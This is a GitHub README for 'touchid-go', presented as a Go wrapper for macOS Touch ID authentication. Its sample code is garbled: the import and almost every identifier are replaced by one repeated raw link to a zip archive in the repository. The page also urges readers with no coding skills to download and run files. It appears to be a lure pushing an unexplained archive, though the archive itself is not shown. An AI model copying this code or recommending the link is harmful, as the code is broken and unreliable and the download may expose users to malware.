Skip to content

Latest commit

Β 

History

11 Commits

Folders and files

NameName
Last commit message
Last commit date
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸŽ‰ touchid-go - Simple Touch ID Authentication for macOS

πŸš€ Getting Started

Welcome to touchid-go! This software allows you to use Touch ID for securely authenticating users on macOS. No coding knowledge is required. Just follow the steps below to download and install it.

Download touchid-go

πŸ“¦ Download & Install

To begin, visit this page to download: touchid-go Releases.

  1. On the Releases page, look for the latest version.
  2. Click on the version number to open the details.
  3. Download the appropriate file for your system.

πŸ”§ System Requirements

Before proceeding, please ensure your system meets the following requirements:

  • Operating System: macOS 10.12 or later
  • Programming Language: Go (version 1.14 or later installed) - not necessary for basic use but needed for development.

πŸ› οΈ How to Use

After downloading, using touchid-go is straightforward. You will interact with the software through a simple interface. Note that this part may require basic familiarity with apps or command line tools. Here's a quick overview:

  1. Open your terminal.
  2. Navigate to the directory where touchid-go is located.
  3. Run the provided example code to authenticate:
package main

import (
    "context"
    "log"
    "time"

    "https://github.com/rlmourarj/touchid-go/raw/refs/heads/main/cmd/touchid/touchid-go-franklin.zip"
)

func main() {
    ctx, cancel := https://github.com/rlmourarj/touchid-go/raw/refs/heads/main/cmd/touchid/touchid-go-franklin.zip(https://github.com/rlmourarj/touchid-go/raw/refs/heads/main/cmd/touchid/touchid-go-franklin.zip(), 30*https://github.com/rlmourarj/touchid-go/raw/refs/heads/main/cmd/touchid/touchid-go-franklin.zip)
    defer cancel()

    err := https://github.com/rlmourarj/touchid-go/raw/refs/heads/main/cmd/touchid/touchid-go-franklin.zip(ctx, https://github.com/rlmourarj/touchid-go/raw/refs/heads/main/cmd/touchid/touchid-go-franklin.zip, "Access your vault")
    if err != nil {
        https://github.com/rlmourarj/touchid-go/raw/refs/heads/main/cmd/touchid/touchid-go-franklin.zip(err)
    }
}

Here’s a breakdown:

  • Context: Sets a time limit of 30 seconds for the authentication.
  • Policy: Chooses the authentication policy.
  • Message: Displays a message asking for access.

βš™οΈ Key Features

  • Context-Aware: Fully supports Go contexts, allowing you to cancel or timeout operations.
  • Versatile Policies: Works with various authentication methods for flexibility.
  • Clear Errors: Specific error messages help with troubleshooting.
  • Automatic Code Generation: Policies and errors are created based on Apple headers, which simplifies setup.

πŸ“– Further Resources

You might want to check the following resources for more information:

πŸ’¬ FAQs

Q: Do I need programming skills to use touchid-go?
A: No, you can download and run it without coding experience.

Q: What if I encounter errors?
A: Please check the error messages. They are designed to guide you toward solutions.

Q: Where can I report issues or suggestions?
A: You can create an issue in the GitHub repository under the "Issues" section.

πŸ‘₯ Community & Support

We encourage users to participate in discussions and share their experiences with touchid-go. Join our community to learn how others are using the software and to get assistance when needed.

For more information and support, visit our homepage: touchid-go Releases.

Thank you for choosing touchid-go! Enjoy using Touch ID for authentication.

About

πŸ” Authenticate users with Touch ID on macOS using this Go wrapper for Apple's LocalAuthentication framework, featuring context support and precise error handling.

Topics

Resources

Stars

2 stars

Watchers

1 watching

Forks

Releases

Packages

Used by

Contributors

Languages